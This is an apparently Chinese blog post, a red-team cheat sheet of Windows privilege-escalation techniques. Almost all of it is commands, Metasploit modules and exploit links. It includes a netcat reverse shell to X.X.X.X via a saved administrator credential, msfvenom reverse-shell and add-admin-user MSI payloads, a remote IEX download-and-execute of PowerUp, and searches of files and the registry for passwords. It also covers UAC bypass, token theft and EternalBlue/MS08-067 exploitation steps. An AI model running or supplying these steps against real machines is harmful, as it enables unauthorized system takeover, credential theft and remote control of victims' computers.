内网攻防

Windows提权小结

2020-06-20  本文已影响0人  book4yi

系统内核溢出漏洞提权:

方法一,查找相应补丁漏洞的辅助查询页面:
https://github.com/SecWiki/windows-kernel-exploits
利用过程:

#更新漏洞数据库,会生成一个xls的文件,如下 2020-06-20-mssb.xls
python2 windows-exploit-suggester.py --update
 
#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt
 
#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python2 windows-exploit-suggester.py -d 2020-06-20-mssb.xls -i sysinfo.txt

这种方法不一定准确,因为新版的系统安装自带补丁

#手工查找补丁:
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描进行补丁枚举
post/windows/gather/enum_patches

方法二,另外MSF还提供了该模块,用于快速识别系统中可能被利用的漏洞

post/multi/recon/local_exploit_suggester

结果肯定不完整,仅供参考,结果如图:

方法三,Sherlock脚本:

#搜索所有未安装的补丁
Import-Module  .\Sherlock.ps1;Find-AllVulns
#也可以搜索单个漏洞
Import-Module  .\Sherlock.ps1;Find-MS14058

方法四:查找相应补丁漏洞的辅助查询页面:
项目地址:https://github.com/bitsadmin/wesng

wesng主要帮助检测Windows安全缺陷,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议。

利用过程:
1、将wesng下载到本地主机上,先升级最新的漏洞数据库

python wes.py --update

2、将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查

python wes.py systeminfo.txt

辅助提权脚本:

项目地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

凭证存储:

Windows7之后的操作系统提供了windows保险柜功能(Windows Vault),Window保险柜存储Windows可以自动登录用户的凭据,这意味着需要凭据才能访问资源(服务器或网站)的任何Windows应用程序都可以使用此凭据管理器和Windows Vault并使用提供的凭据代替用户一直输入用户名和密码。

除非应用程序与凭据管理器进行交互,否则我认为它们不可能对给定资源使用凭据。因此,如果您的应用程序要使用保管库,则应以某种方式与凭证管理器进行通信,并从默认存储保管库中请求该资源的凭证。

1、列出存储的所有用户的凭据

cmdkey /list

发现administrator凭据被存储在了本机上

2、使用runas来以管理员权限启动nc反弹shell。

Runas /user:administrator /savecred "nc.exe -e cmd.exe X.X.X.X 1337"

3、在攻击机启动监听,获取反弹shell。

nc -lvp 1337

提权小工具 ATRoot Auxiliary v2.0:

通过RDP&Sticky_key实现提权:

use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost myip
msf exploit(multi/handler) set lport myport
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit

类似的,当目标服务重启之后,我们可以设置自动运行脚本来启用sticky_keys:

set AutoRunScript post/windows/manage/sticky_keys

接下来,连续按下5次shift键,你将会拿到拥有管理员权限的命令行窗口:

不安全的服务权限:

即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务:
下载地址:AccessChk

C:\Users\user\Desktop>accesschk.exe -uwcqv "user" * 
accesschk.exe -uwcqv "user" *

Accesschk v6.02 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

RW Vulnerable Service
 SERVICE_ALL_ACCESS

C:\Users\user\Desktop>

也可以使用以下sc qc命令查询服务:

C:\Users\user\Desktop>sc qc "Service"
sc qc "Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Service
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Program Folder\Subfolder\Service.exe
        LOAD_ORDER_GROUP   : UIGroup
        TAG                : 0
        DISPLAY_NAME       : Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

C:\Users\user\Desktop>

最后,可以在HKLM\SYSTEM\CurrentControlSet\Services注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。
如果可以修改服务的BINPATH,则可以利用它:

C:\Users\user\Desktop>sc config "Vulnerable" binpath="C:\malicious.exe"
sc config "Vulnerable" binpath="C:\malicious.exe"
[SC] ChangeServiceConfig SUCCESS

C:\Users\user\Desktop>

修改后,必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它:

C:\Users\user\Desktop>sc stop "Vulnerable"
sc stop "Vulnerable"

SERVICE_NAME: Vulnerable 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

然后启动!

C:\Users\user\Desktop>sc start "Vulnerable"

也可以使用AccessChk工具查询注册表。
一旦发现有漏洞的配置,就可以将木马放入服务的ImagePath中。

系统服务权限配置错误:

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持。
获取服务的信息(获取本地以system权限启动的服务)

wmic service get name,pathname,startname | findstr /C:"LocalSystem"

具体实现方法参考:

1.Powershell中的PowerUp脚本(本地提权脚本)
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

远程加载:
Powershell -exec bypass IEX(new-object Net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/mastter/Privesc/PowerUp.ps1'); Invoke-AllChecks

可获得用户登录密码,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权
详情参考:https://blog.csdn.net/l1028386804/article/details/86089574/

2.Metasploit中的攻击模块   #需要提前获取一个session
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
use exploit/windows/local/service_permissions
set session num
set AutoRunScript migrate -f
run
可信任服务路径漏洞:

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这里我们举一个实际的例子:

C:\Program Files\Vulnerable Service\Sub Directory\service.exe

Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

这意味着如果服务路径不加引号,我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象,并在其名称中包含空格,并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。
Cosider通过隐藏example.exe来利用上述示例,C:\Example\Sub.exe在没有空格的情况下调用上面的示例,如易受攻击的服务:

C:\>C:\Example\Sub Directory\example.exe
[*] Executed C:\Example\Sub

C:\>

所以说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
MSF使用实战:

#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# 通过 PowerUp.ps1 查找:
powershell import-module .\PowerUp.ps1 ;Get-ServiceUnquoted

#msf攻击模块,需要提前获取一个session
exploit/windows/local/trusted_service_path

#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
计划任务:

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

#查看计算机的计划任务
schtasks /query /fo LIST /v

组策略首选项提权:

详情请参考:Windows组策略首选项提权

绕过UAC提权:

用户帐户控制,即UAC。它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
这里仅记录方法,详情请参考:使用Metasploit绕过UAC的多种方法

#此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
use exploit/windows/local/bypassuac  /  use exploit/windows/local/bypassuac_injection
set session num 
run
#获取新的会话后:
getsystem

以下都可以进行尝试

令牌窃取:

#已经获取到一个session
#方法一
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > impersonate_token WIN-2HU3N1\\Administrator  #注意:这里是两个反斜杠\\
meterpreter > shell

C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > getuid
...NT AUTHORITY\SYSTEM

按系统类型:

Windows2000/2003、XP:
at本地命令提权:

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将 Administrators 组下的用户权限提升到 SYSTEM

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。

语法:at 时间 命令
例子:at 10:45PM calc.exe

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。我们可以通过 “/interactive”开启界面交互模式:

在得到一个system的cmd之后,使用 taskmgr 命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境

msf下生成木马文件,at命令执行运行程序,上线后即为system

windows 7/8、03/08、12/16:
sc命令提权:

关于sc命令: SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

#创建一个名叫 syscmd 的新的交互式的 cmd 服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact

#执行以下命令,创建一个system权限下运行的cmd shell
sc start syscmd

之后通过后门注入即可,应该也有其他方法。

AlwaysInstallElevated:

AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表项来识别此设置:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

使用reg query命令查询是否存在漏洞:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统没这个漏洞,它将输出错误:

如果存在漏洞,上面将输出以下内容:

然后我们使用msfvenom生成msi文件,进行提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet    安装过程中禁止向用户发送消息
# /qn       不使用GUI
# /i        安装程序

#msf下的自动模块
exploit/windows/local/always_install_elevated

Unattended Installs:

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

C:\Windows\Panther\ 
C:\Windows\Panther\Unattend\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。

#msf模块
post/windows/gather/enum_unattend

常用系统漏洞CVE:

#Windows全版本:
CVE-2020-0787:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)

#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
POC:https://github.com/alpha1ab/CVE-2018-8120

#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
POC:https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213
#会新创建一个system权限的cmd shell,这时返回meterpreter会话,把后门注入进即可

#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

以下是不同系统提权的漏洞和相应的补丁,图片出处来自谢公子博客,详情请查看参考链接:

windows本地提权对照表:

KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012 PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru

通用
KB3164038 MS16-075(烂土豆)
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195  MS10-065 IIS7
KB970483 MS09-020 IIS6

MS16-075(烂土豆)提权详情参考:
记一次HW实战笔记 | 艰难的提权爬坑
实战ms16-075提权Windows Server 2012

KB(Knowledge Base,知识库)是微软补丁的命名方式,指的是对应微软知识库的那一篇文章,例如这里的KB3143141,访问https://support.microsoft.com/en-us/help/3143141可以看到相关详细信息。

Common Vulnerabilities and Exposure:

MS08-067 (NetAPI)
使用nmap脚本进行探测:

nmap ip --script=smb-vuln-ms08-067

Metasploit模块探测MS08-067 NetAPI:

exploit/windows/smb/ms08_067_netapi

github:

https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7:
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) - Microsoft Windows XP/2003:
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64):

检查补丁是否已安装:

wmic qfe list | findstr "3139914"
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (千万不能漏了系列--永恒之蓝)

nmap进行探测:

nmap ip --script=smb-vuln-ms17–010

Metasploit modules to exploit:

auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

github:

git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
CVE-2019-1388--Windows 7

Windows 10 LTSC 10240:
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
详情参考:https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

其他补充:

DLL注入提权
注册表键提权
详情请参考:红队测试之Windows提权小结

如有侵权,请联系删除。

参考如下:

[总结]Windows提权总结
Windows内核溢出漏洞提权
Windows提权笔记
Windows平台下实现提权的新姿势
Windows - Privilege Escalation

上一篇 下一篇

猜你喜欢

热点阅读